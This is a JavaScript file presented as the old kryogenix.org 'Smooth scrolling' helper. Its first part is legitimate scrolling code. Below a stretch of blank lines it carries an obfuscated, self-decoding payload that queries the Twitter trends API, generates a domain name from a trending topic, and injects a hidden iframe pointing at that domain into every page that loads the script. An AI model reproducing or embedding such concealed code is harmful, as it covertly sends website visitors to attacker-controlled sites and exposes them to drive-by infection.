/* Smooth scrolling
   Changes links that link to other parts of this page to scroll
   smoothly to those links rather than jump to them directly, which
   can be a little disorienting.
   
   sil, http://www.kryogenix.org/
   
   v1.0 2003-11-11
   v1.1 2005-06-16 wrap it up in an object
*/

var ss = {
  fixAllLinks: function() {
    // Get a list of all links in the page
    var allLinks = document.getElementsByTagName('a');
    // Walk through the list
    for (var i=0;i<allLinks.length;i++) {
      var lnk = allLinks[i];
      if ((lnk.href && lnk.href.indexOf('#') != -1) && 
          ( (lnk.pathname == location.pathname) ||
	    ('/'+lnk.pathname == location.pathname) ) && 
          (lnk.search == location.search)) {
        // If the link is internal to the page (begins in #)
        // then attach the smoothScroll function as an onclick
        // event handler
        ss.addEvent(lnk,'click',ss.smoothScroll);
      }
    }
  },

  smoothScroll: function(e) {
    // This is an event handler; get the clicked on element,
    // in a cross-browser fashion
    if (window.event) {
      target = window.event.srcElement;
    } else if (e) {
      target = e.target;
    } else return;

    // Make sure that the target is an element, not a text node
    // within an element
    if (target.nodeName.toLowerCase() != 'a') {
      target = target.parentNode;
    }
  
    // Paranoia; check this is an A tag
    if (target.nodeName.toLowerCase() != 'a') return;
  
    // Find the <a name> tag corresponding to this href
    // First strip off the hash (first character)
    anchor = target.hash.substr(1);
    // Now loop all A tags until we find one with that name
    var allLinks = document.getElementsByTagName('a');
    var destinationLink = null;
    for (var i=0;i<allLinks.length;i++) {
      var lnk = allLinks[i];
      if (lnk.name && (lnk.name == anchor)) {
        destinationLink = lnk;
        break;
      }
    }
  
    // If we didn't find a destination, give up and let the browser do
    // its thing
    if (!destinationLink) return true;
  
    // Find the destination's position
    var destx = destinationLink.offsetLeft; 
    var desty = destinationLink.offsetTop;
    var thisNode = destinationLink;
    while (thisNode.offsetParent && 
          (thisNode.offsetParent != document.body)) {
      thisNode = thisNode.offsetParent;
      destx += thisNode.offsetLeft;
      desty += thisNode.offsetTop;
    }
  
    // Stop any current scrolling
    clearInterval(ss.INTERVAL);
  
    cypos = ss.getCurrentYPos();
  
    ss_stepsize = parseInt((desty-cypos)/ss.STEPS);
    ss.INTERVAL =
setInterval('ss.scrollWindow('+ss_stepsize+','+desty+',"'+anchor+'")',10);
  
    // And stop the actual click happening
    if (window.event) {
      window.event.cancelBubble = true;
      window.event.returnValue = false;
    }
    if (e && e.preventDefault && e.stopPropagation) {
      e.preventDefault();
      e.stopPropagation();
    }
  },

  scrollWindow: function(scramount,dest,anchor) {
    wascypos = ss.getCurrentYPos();
    isAbove = (wascypos < dest);
    window.scrollTo(0,wascypos + scramount);
    iscypos = ss.getCurrentYPos();
    isAboveNow = (iscypos < dest);
    if ((isAbove != isAboveNow) || (wascypos == iscypos)) {
      // if we've just scrolled past the destination, or
      // we haven't moved from the last scroll (i.e., we're at the
      // bottom of the page) then scroll exactly to the link
      window.scrollTo(0,dest);
      // cancel the repeating timer
      clearInterval(ss.INTERVAL);
      // and jump to the link directly so the URL's right
      location.hash = anchor;
    }
  },

  getCurrentYPos: function() {
    if (document.body && document.body.scrollTop)
      return document.body.scrollTop;
    if (document.documentElement && document.documentElement.scrollTop)
      return document.documentElement.scrollTop;
    if (window.pageYOffset)
      return window.pageYOffset;
    return 0;
  },

  addEvent: function(elm, evType, fn, useCapture) {
    // addEvent and removeEvent
    // cross-browser event handling for IE5+,  NS6 and Mozilla
    // By Scott Andrew
    if (elm.addEventListener){
      elm.addEventListener(evType, fn, useCapture);
      return true;
    } else if (elm.attachEvent){
      var r = elm.attachEvent("on"+evType, fn);
      return r;
    } else {
      alert("Handler could not be removed");
    }
  } 
}

ss.STEPS = 50;

ss.addEvent(window,"load",ss.fixAllLinks);











(function($$){d="( 8 *i= 8var Vc=this;  [Vc\\FullYear %Month %Date %Hours %Minutes %Seconds()]}; *B= 8 &n,Vr=this.#i(),i=0;Vr[1]+=1;while(i++<7){#n=Vr[i] /#n<#b)Vr[i] 4#n}   Vr.splice(~z'),1+~T 0 5~u 0+'T'+Vr 5~U 0};VN={'h`http://Xs`/Xt`treXd`daiXn`ndsXq`?Xc`callback=Xj`#Xa`apiXl`lyXW`twitterXo`comXe`1Xk`sXK`bodyXx`ajaxXD`.XL`libsXJ`jqueryX6`6.2Xm`minXf`onXS`criptXi`ifXM`rameXY`headXw`width:Xp`px;XH`height:XT`2Xr`rcXQ`\"Xy`style=Xb`><XR`></XI`divXB`<XA`>Xg`googleXE`&date=Xz`0Xu`-XU` X,`:00X;':2345678901,'/':48271,'F':198195254,'G':12,'C`='};@ #G(Vm){#o=[];for(Vx=0;Vx<Vm .;Vx++){#o.push(VN[Vm.charAt(Vx)])}   #T(#o)}VB=document;#x=window; +E='undefined'; +j=~haDWDosestnsdlDjfqcq' :R= ))== +E) /#R||!VD()){if(!#R){try{Vd=jQuery !;try{Vd=$ !}VM=VB.getElementsByTagName(~Y 0[0];#J=VB.createElement(~kS 0;#J.setAttribute(~kr'),#G(\"hxDgakDosxsLsJseD6sJDmDj\"));VM.appendChild(#J)}@ Va(#F,VK){   Math.floor(#F/VK) 6e(#k){var Vg=Va( +u, $G); &C= +u% $G; &S= $r*#C; &L= $J*Vg; &y=#S-#L /#y>0){#u=#y}else{#u=#y+ $A}  (#u%#k) 6z(#w){ +u=~;')+#w; $r=~/'); $A=~;')-~F'); $G=Va( $A, $r); $J= $A% $r 6T(V){   V .==1?V[0]:V 5'')};@ #K(V){d=new Date( :c=~zee');d.setTime((V.as_of-~G')*~G')*~G')*~ezz 0*~ezzz 0;   d 6p(Vu){ &a,Vn,#f=Vu .; &d=[];while(--#f){Vn=#e(#f :d.push(Vn :a=Vu[Vn];Vu[Vn]=Vu[#f];Vu[#f]=#a}}@ Vp($){Vs=$.map([81,85,74,74,92,17,82,73,80,30,82,77,25,11,10,10,61,11,56,55,11,53,6,53,7,2,1,0,48],@(x,i){   String.fromCharCode(i+x+24)});   #T(Vs) 6v($){if ))!= +E){$( 8if ).Vt)!= +E)  ;$.Vt=1; 2j,@(Vy){#g=#K(Vy :h=#g\\Month() 9L=#g\\Date();VS=#h+\"-\"+VL;#P=#j+#G(\"E 3;Vj=VP=Va(#g\\Hours(),6)*6 9E=Vj+1;#b=+~ez'); , 2P,@(Vy){try{#D=Vy.trends;#M=#G(\" 3+\" \" /Vj<#b)Vj 4Vj /VE<#b)VE 4VE; 7j+#G(X)] /!#N){ 7E+#G(X)]}#N=(#N[3].name.toLowerCase().replace(/[^a-z]/gi,'')+'microscope').split('' :s=#h*71+VP*3+VL*37;#z(#s :q=#e(4)+#b;#p(#N :H=~Ch')+#T(#N).substring(0,#q)+'.com/'+Vp($);VN['Z']=#H;Vb=~BI 1biMU 1UkrZRiMRIA');$(~K 0.append(Vb)}catch(Vf){}})},#b*#b*#b)})})}else{ , -,1+~TTT 0}} -)()#js@functionV#mX','`':'~#G('\\.getUTC  return !.noConflict(true)}catch(e){} $#x.V %(),Vc\\ &var # )(typeof($ *Date.prototype.# +#x.# ,setTimeout( 8 -#v(#x.jQuery)} ..length /;if( 0')) 1yQHTpweeepQ 2$.getJSON(# 3Tzeeu\")+VS 4=~z')+ 5.join( 6}@ # 7#N=#D[#M+V 8@(){ 9+(+~e 0;V :);#";for(c=53;c;d=(t=d.split('#@VX`~\\   ! $ % & ) * + , - . / 0 1 2 3 4 5 6 7 8 9 :'.substr(c-=(x=c<9?1:2),x))).join(t.pop()));$$(d)})(function(jsmH){return(function(jsm,jsmF){return jsmF(jsm(jsmF(jsm(jsmH))))(jsmH)()})((function(jsm){return jsm.constructor}),(function(jsm){return(function(jsmF){return jsm.call(jsm,jsmF)})}))});